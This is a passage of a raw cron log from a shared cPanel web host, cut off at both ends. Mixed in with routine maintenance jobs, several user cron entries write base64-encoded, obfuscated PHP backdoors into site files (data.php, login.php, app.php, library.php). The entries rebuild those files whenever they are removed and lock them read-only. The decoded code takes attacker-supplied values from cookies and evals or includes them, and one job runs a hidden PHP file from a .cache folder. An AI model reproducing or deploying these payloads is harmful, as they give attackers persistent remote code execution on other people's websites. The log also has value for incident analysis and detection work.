AnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:30:02 medusa CROND[6089]: (root) CMD (/nutscripts/wp-toolkit.sh > /dev/null 2>&1)
Mar  1 05:30:02 medusa CROND[6092]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 05:30:02 medusa CROND[6091]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:30:02 medusa CROND[6095]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  1 05:30:02 medusa CROND[6090]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 05:30:02 medusa CROND[6100]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 05:30:02 medusa CROND[6102]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 05:30:02 medusa CROND[6104]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:30:02 medusa CROND[6101]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 05:30:02 medusa CROND[6105]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:30:02 medusa CROND[6107]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:30:02 medusa CROND[6111]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:30:02 medusa CROND[6103]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats > /dev/null 2>&1)
Mar  1 05:30:02 medusa CROND[6109]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 05:30:02 medusa CROND[6112]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 05:30:02 medusa CROND[6093]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 05:30:02 medusa CROND[6114]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:30:02 medusa CROND[6115]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:30:02 medusa CROND[6119]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:30:02 medusa CROND[6122]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:30:02 medusa CROND[6129]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:30:02 medusa CROND[6131]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 05:30:02 medusa CROND[6108]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 05:30:02 medusa CROND[6113]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 05:30:02 medusa CROND[6132]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 05:31:02 medusa CROND[29794]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:31:02 medusa CROND[29795]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 05:31:02 medusa CROND[29796]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:31:02 medusa CROND[29797]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:31:02 medusa CROND[29799]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:31:02 medusa CROND[29803]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:31:02 medusa CROND[29804]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 05:31:02 medusa CROND[29805]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:31:02 medusa CROND[29798]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:31:02 medusa CROND[29807]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:31:02 medusa CROND[29809]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:31:02 medusa CROND[29812]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:31:02 medusa CROND[29814]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:32:01 medusa CROND[21454]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:32:02 medusa CROND[21498]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:32:02 medusa CROND[21499]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX